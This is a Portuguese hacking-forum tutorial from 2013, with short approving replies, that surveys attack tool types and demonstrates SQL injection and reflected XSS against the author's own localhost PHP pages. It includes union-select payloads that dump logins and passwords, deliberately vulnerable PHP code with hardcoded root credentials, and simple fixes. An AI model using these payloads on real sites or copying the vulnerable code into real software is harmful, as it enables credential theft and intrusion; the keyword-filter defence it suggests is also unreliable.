seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Participe do fórum, é rápido e fácil

seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

Você não está conectado. Conecte-se ou registre-se

[artigo] algumas falhas em programaçao

+2
mmxm
Kodo no Kami
6 participantes

Ir para baixo  Mensagem [Página 1 de 1]

1[artigo] algumas falhas em programaçao Empty [artigo] algumas falhas em programaçao Seg Mar 11, 2013 12:55 am

Kodo no Kami

Kodo no Kami
master
master

bom galera aqui é o hacker fts315, nesse tutorial ou artigo ja nem sei mais kkkkk vou mostrar as principais falhas em programaçao, alguns programas usado para explorar e achar a mesma e como corrigir, nesse tutorial ou artigo como preferir chamar ele '-' vou começar falando oq é uma falha, vamos la

OQUE É, QUANDO NASCE, MAIS Q Q ISSO, MEU TAMAGUCHI MORREU '-'

uma falha nasce quando o programador adiciona alguma coisa que nao deveria ou esquece de adicionar alguma coisa e ai começa toda merda, praticalmente existe 4 niveis de falhas, as leves, as medianas, as graves e as apocalipticas, as falhas leves nao afeta o sistema a ponto de prejudicar o funcionamento (sistema em geral, sendo programa, pagina, servidor ou ate sistema operacional), as medianas sao aquelas que pode ser usado contra o usuario ou ate os admistrador do sistema de alguma forma mais nao afeta o mesmo e nem prejudica o sistema, as graves pode ser usadas contra o usuario ou admistrador ou prejudica o sistema de alguma forma podendo dar acesso ao invasor a areas ou informaçao sobre o mesmo ou ate manipulaçao do sistema ou impedindo acesso a determinadas areas, por fim as apocalipticas sao aquelas que apenas organizações como umbrella corporation consegue fazer que no final por causa de uma falha na segurança acaba afetando o mundo e a sobrevivencia da raça humana '-'

PROGRAMAS, SCRIPTS, TOOLS, E OUTROS NOMES Q SE PODE DA A EXECUÇAO DE UM CODIGO

existe muitos programas para descobrir falhas em sistemas, eles sao usado por diversas pessoas para diversos fins, os mais comuns sao

-analista: procurando falhas em sistemas para proteger ou criar um relatorio (pentester)
-programador: procurando falhas para ver se nao deixou brecha na segurança do seu trampo
-hacker em geral: procurando falhas para invadir ou proteger ou porque esta entediado ou curioso
-curioso: aprendendo a mexer com a ferramente
-usuario comun: baixou o programa mais nao sabe porque talvez viu o link e aperto nele
-minha vó: aperto no icone no meu desktop sem querer '-'

entre os tipos de programas esses sao os mais comuns

-scanner de porta: programa que analisa determindas portas para ver se elas estao abertas ou fechadas (tambem conhecido por portscan)
-scanner de ip: programa que analisa determinados faixa de ip para ver se estao vivos/mortos
-scanner de vunerabilidade: programa que analisa determinada maquina procurando falhas conhecidas
-scanner de dorks/string: programa que procura sites vuneraveis em motores de busca
-scanner de banner/header: programa que procuar o banner em determiando servidor para ver a versao do servidor ou outra informaçao
-scanner de admin: programa q busca a pagina que o admin loga (tambem conhecido por find admin)
-scanner de virus/malware: esse é o scanner mais usado ate por usuario comum o famoso anti-virus
-debugs/dissembly: programas que permite ver a sequencia de codigos que o processador faz em um programa
-editor hexadecimal: programa que mostra a sequencia de codigos do programa e seu equivalente em hexadecimal
-sniffer: programa que captura trafego de rede
-exploit: programa automatiza uma exploraçao de uma vunerabilidade
-path/fix: o oposto do exploit esses sao usados para corrigir a vunerabilidade
-brute force: programa q quebra senha atraves de tentativas
-shell (pagina): script que na maior parte php, é usado para ter um controle ao servidor
-backdoor: programa usado para acessar determiando sistema secretamente
-hacks/treiner/cheat: programa usados por viciados em jogos para burlar ou ganhar privilegio u.u
-compilador/interpretador: programa usado para trasformar linguagem de programaçao em linguagem da maquina

existe outros infinidades de tipos, alguns novos outros velhos e alguns ainda nem inventado, ai cuja você inventa-los (lol falei bonito agora kkkkk), bom galera como eu falei dos tipos agora vou falar de algumas ferramentas que eu ja usei

-scanner de porta/ip: nmap (windows/linux), sss(windows), ip range (windows)
-scanner de vunerabilidade: acunitx(windows), languard(windows), w3af(linux), nikkito(linux)
-scanner de dorks: XCode(windows)
-scanner de admin: havij(windows)
-debugs/dissembly: ida(windows), ollydbg(windows), ndisasm (windows/linux), dbg (windows/linux)
-editor hexadecimal: hex editor neo(windows), winhex(windows), hexworkshop(windows), hexedit(linux), okteta(linux)
-sniffer: tcpdump(linux), iptraf(linux), wireshark(windows)
-exploit: metasploit(windows/linux)
-brute force: snd_rt(windows), hashcat(windows/linux), brutehash(windows)
-shell: c99(php), r57(php)
-backdoor: netcat(windows/linux)
-compilador/interpretador: active perl(windows), active pyton(windows)
-framework: alem do metasploit logo logo vai ter um chamado metal framework aguarde ^^

UM POUCO SOBRE BANCO DE DADOS

um banco de dados nada mais é do que um arquivo que guarda diversos tipos de informaçao, eles sao muito usados tanto para aplicação web quanto para aplicaçao desktop, os bancos de dados foram criados para facilitar e nao precisar ficar guardando informaçao em arquivos separados, o banco de dados atuais se dividi por padrao em 4 partes o banco de dado, a tabela, a coluna e a informaçao, entao para facilitar a manipulação dele foi criado diversos gerenciador de banco de dados (sgbd) entre eles os mais comuns sao mysql, postgres, firebird, access entre outros, como exemplo vamos supor que eu tenha um banco de dados chamado fts315 onde eu guardo minhas informaçao, nele tem uma tabela chamada telefones e dentro dessa tabela existe as colunas nome e numero e dentro delas existe as informaçao, tambem para facilitar a manipulaçao dos banco de dados surgiu uma linguagem chamada sql e a maioria dos banco de dados tem adotado ela como padrao, a sql e limitada apenas a manipulaçao do mesmo e pode variar a cada sgbd, nos exemplos a frente eu vou usar o mysql

FALHAS WEB: SQL INJECTION (SQLI)

essa é uma falha muito comum em aplicaçao web e pode variar o tipo de ataque dependendo do banco de dados (bd no sentido de sgdb) ou linguagem de programaçao, essa falha consiste da gente manipular o query (query seria o comando sql), para isso usamos aspas que acaba fechando a aspas anterior que por sua vez ocorre um erro para o proximo comando, veja um exemplo basico de uma url de uma aplicaçao web

Código:
http://127.0.0.1/fts_sqli.php?id=1

no meu exemplo acima o id=1 seria o metodo de passagem de argumento para o script fts_sqli.php no caso ele esta passando via metodo GET e ta passando o numero 1 para o id, analisando essa parte no php agente ve que ele recebe e ja passa como argumento para a funçao mysql_query atribuida a outra string que no caso esta formando o comando query todo

Código:
$query = mysql_query("select * from pagina where id=" . $_GET["id"]);

vendo de um jeito mais limpo ele vai formar o comando query assim

Código:
'select * from pagina where id=1'

no caso onde é o numero ele muda de acordo com a url, mais se agente passar o aspas? oq vai acontecer?, vai acontecer isso 1'' e o segundo aspas vai da erro assim indicando a falha sqli

Código:
'select * from pagina where id=1''

aqui ele retorno esse erro

Código:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/fts_sqli.php on line 20

para explorar a falha basta agente ver a quantidade de colunas nela, para entender melhor se agente usar a url normal

Código:
http://127.0.0.1/fts_sqli.php?id=1

ele vai retorna isso (e outras coisas q eu fiz para o exemplo)

Código:
id: 1
nome: fts
idade: 20

a unica coisa importante ali e o 1, fts e 20 q sao carregado do banco de dados se eu mudar o id para 2 ele vai carregar outras informaçao, entao sao 3 colunas (id,nome,fts), mais como ter certeza para isso vamos usar order by e chutar o numero se retornar erro entao e menos (porem em algumas falhas nao sqli isso nao funciona)

Código:
http://127.0.0.1/fts_sqli.php?id=1 order by 1

no order by 1 a pagina carrego com sucesso entao eu tentei, order by 2, order by 3, quando eu digitei order by 4 deu erro

Código:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/fts_sqli.php on line 20

so uma pequena incrementaçao algumas pessoas gosta de fazer isso colocando uma virgula e o numero tipo order by 1,2,3,4,5,6,7,8 se der erro vai removendo ou se nao der vai incrementando novo numero isso pode agilizar para o proximo passo, tambem pode substituir o order by pelo group by

Código:
http://127.0.0.1/fts_sqli.php?id=1 group by 1,2,3

agora agente vai unir as colunas para isso vamos colocar onde esta 1 um 0 (tambem poderiamos colocar um - antes ficando -1), logo em seguida usamo union all select seguido dos numero colunas no caso 1,2,3

Código:
http://127.0.0.1/fts_sqli.php?id=0 union all select 1,2,3

agora vamos colocar um from e o nome da tabela que no caso e usuario (eu ja sei o nome das tabelas e colunas porque foi eu que criei elas ne, mais se fosse um ataque a um bd desconhecido eu nao teria essa privilegio T.T , entao eu teria que adivinhar ou descobrir de alguma forma)

Código:
http://127.0.0.1/fts_sqli.php?id=0 union all select 1,2,3 from usuario

e nos numeros (1,2,3) eu substituo pelo nome das colunas, no caso (id,login,senha)

Código:
http://127.0.0.1/fts_sqli.php?id=0 union all select id,login,senha from usuario

olha so oq ele retorno, bd fdp revelando minha senha do redtube '-'

Código:
id: 1
nome: hacker fts315
idade: 123456
id: 2
nome: mitnick
idade: 54321

dependendo do caso ele nao retorna tudo assim, entao voce pode usar a funçao group_concat

Código:
http://127.0.0.1/fts_sqli.php?id=0 union all select group_concat(0x20,id,0x3d,login,0x3a,senha),2,3 from usuario

no caso ele retorno tudo em uma unica coluna concatenada assim id=login:senha

Código:
id: 1=hacker fts315:123456, 2=mitnick:54321
nome: 2
idade: 3

existe um metodo de manipular o information_schema para conseguir o nome das tabelas e colunas mais isso fica pra outro tutorial ou artigo (4 horas depois e eu ainda nao decide se vou chamar isso de artigo ou tutorial u.u ), agora vamos para correçao se voces perceberam estamos usando numeros para o id entao podemos fazer uma checagem se nao for numero ele nao pesquisa isso resolve a situaçao aqui no exemplo do sqli anterior, vou postar a source fts_sqli.php para voces

Código:
<?php
   //by hacker fts315

   //slogan
   echo "<body bgcolor=\"black\" text=\"white\">";
   echo "<center><font color=\"red\"><h1>FTS TUTORIAL PRINCIPAIS FALHAS</h1>";
   echo "falha: </font>SQL Injection (SQLI) </center><hr>";
   
   //codigo
   $argumento = $_GET["id"];
   $conexao = mysql_connect("127.0.0.1","root","root"); //conexao
   mysql_query("create database lol");
   mysql_select_db("fts"); //seleciona o banco de dados
   $query = mysql_query("select * from pagina where id=" . $argumento); #query

   
   while($hack = mysql_fetch_array($query,MYSQL_NUM)) #loop para exibir
   {
      echo "id: " . $hack[0] . "<br>";
      echo "nome: " . $hack[1] . "<br>";
      echo "idade: " . $hack[2] . "<br>";
   }
   mysql_close($conexao); //fecha o banco de dados
?>

como eu tinha dito antes como agente ta usando numeros basta usar a funçao is_numeric em uma codiçao e usar exit para o script e pronto

Código:
//anti sqli
if(!is_numeric($argumento))
{
   echo "argumento invalido";
   exit();
}

outra maneira e checar para ver se nao existe argumentos com as palavras que sao usado no query como (SELECT,FROM,UNION,UPDATE,DROP,INSERT e outras), sobro e sqli fica por aqui nao vou estender isso mais nao

FALHAS WEB: Cross Site Scripting (CSS ou XSS)

bom galera outra falha muito conhecida é o cross site scripting que consiste do navegador ou interpretador ler o comando de entrada de um formulario e interpretar ele, praticalmente existe 3 tipos de xss sao eles os refletidos, persistente e baseado em dom, os refletidos sao aqueles dinamico que nao sao armazenados sao mais encontrados em sites que tenha busca, os persistentes sao armezenados e executados sempre que uma pessoa visita a pagina muito encotrado em blog ou chat, e por fim os dom esses usa os elementos de uma pagina para ser armazenado dinamicamente um bom exemplo e fazer clickhijack na pagina pelo xss, um exemplo basico de xss seria essa pagina

Código:
<?php
   //by hacker fts315

   //slogan
   echo "<body bgcolor=\"black\" text=\"white\">";
   echo "<center><font color=\"red\"><h1>FTS TUTORIAL PRINCIPAIS FALHAS</h1>";
   echo "falha: </font>Cross Site Scripting (XSS) </center><hr>";
   
   //codigo
   echo $_GET["texto"];
   
?>

o script php acima espera uma passagem pelo metodo get assim

Código:
http://127.0.0.1/fts_xss.php?texto=eu sou hacker fts315

no caso ele vai exibir na tela eu sou hacker fts315, mais se agente usar algumas tags html

Código:
http://127.0.0.1/fts_xss.php?texto=<font color="red"><center><h1>eu sou hacker fts315</font></center></h1>

agora o texto mostro em vermelho e grande, nesse meu exemplo de xss ele nao ta permitindo tag javascript mais em alguns aceita ai vem centenas de comandos que pode ser usado maliciosamente como redirecionamento para uma pagina fake, roubo de cookies etc, para corrigira basta substituir todos caracteres por caracter de escape para isso adicionamos &# e o numero hexadecimal deles no php existe uma funçao chamada htmlentities que faz isso

Código:
<?php
   //by hacker fts315

   //slogan
   echo "<body bgcolor=\"black\" text=\"white\">";
   echo "<center><font color=\"red\"><h1>FTS TUTORIAL PRINCIPAIS FALHAS</h1>";
   echo "falha: </font>Cross Site Scripting (XSS) </center><hr>";
   
   //codigo
   echo htmlentities($_GET["texto"]);
   
?>

bom galera existe outras falhas como cross site request forgery (xsrf), local file inclusion (lfi), remote file inclusion (rfi), local file download (lfd), local file disclosure (lfd), buffer overflow e muita outras, eu tava querendo falar sobre mais algumas mais começei ficar com sono aqui, talvez em continue em uma segunda parte se eu estiver animado =/

by hacker fts315

https://endoffile.umforum.net

mmxm

avatar
avançado
avançado

Muito legal mano Very Happy

susp3it0virtu@l

susp3it0virtu@l
master
master

muito bom esse artigo mano, como sempre mandando bem
Valeu Basketball

MysteryMind

MysteryMind
avançado
avançado

hehe manow bem legal ai

5[artigo] algumas falhas em programaçao Empty Re: [artigo] algumas falhas em programaçao Sáb Mar 23, 2013 12:08 pm

s7L

s7L
colaborador
colaborador

Muito bom Hacker Fts315, só ali no final achei engraçado; tu inverteu a ordem das tags kkkkkkk

coban

coban
novato
novato

muito bom, parabéns. Smile

https://endoffile.umforum.net

Conteúdo patrocinado



Ir para o topo  Mensagem [Página 1 de 1]

Permissões neste sub-fórum
Não podes responder a tópicos